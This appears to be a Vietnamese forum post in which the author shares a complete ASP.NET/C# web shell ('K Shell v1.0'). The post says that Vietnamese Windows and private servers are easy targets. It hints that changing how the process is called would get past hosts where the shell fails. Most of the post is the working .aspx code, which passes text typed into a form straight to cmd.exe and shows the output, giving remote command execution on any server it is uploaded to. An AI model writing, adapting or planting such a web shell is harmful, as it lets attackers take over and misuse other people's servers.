Một shell rất đơn giản, tuy nhiên để có thể gọi được process thì có
nhiều cách khác nữa. Shell này sẽ không có tác dụng với phần với host,
tuy nhiên nếu đổi cách gọi process như trên tôi nói thì có thể làm được
đó. Mà phần lớn host Windows, đặc biệt server riêng dễ mắc phải lỗi
này. Vì server riêng của Việt Nam phần lớn tự cài và cài chỉ chạy là
xong, dính là chuyện đương nhiên.
Code này mới ngồi lọ mọ tối
qua, hôm nào sẽ hoàn thành các shell khác với tính năng mới hơn. Hình
như đoạn code C# như thế nào chưa thấy ai viết 
<%@ Page Language="C#" Debug="true" %>
<%@ Import Namespace="System.IO" %>
<%@ import namespace="System.Diagnostics" %>
<script runat="server">
void RunCmd(Object Src, EventArgs E)
{
try
{
Process kProcess = new Process();
ProcessStartInfo kProcessStartInfo = new ProcessStartInfo("cmd.exe");
kProcessStartInfo.UseShellExecute = false;
kProcessStartInfo.RedirectStandardOutput = true;
kProcess.StartInfo = kProcessStartInfo;
kProcessStartInfo.Arguments="/c " + cmd.Text;
kProcess.Start();
StreamReader myStreamReader = kProcess.StandardOutput;
String content = myStreamReader.ReadToEnd();
kProcess.Close();
result.Text=cmd.Text + "\n" + "<pre>" + content + "</pre>";
cmd.Text="";
}
catch
{
result.Text="Can't create process!!!";
}
}
</script>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>ASP.NET/C# - K Shell v1.0 by kikicoco</title>
</head>
<body>
<form runat="server">
<asp:Label ID="Info" runat="server">ASP.NET/C# - K Shell v1.0 by kikicoco<br>YIM : kiki_coco1985vn<br></asp:Label><br>
<asp:TextBox ID="cmd" runat="server" style="border: 1px solid #000000"/>
<asp:Button ID="Button" runat="server" Text="Run" OnClick="RunCmd" style="border: 1px solid #000000"/>
<p>
<asp:Label ID="result" runat="server"/> </p>
</form>
</body>
</html>
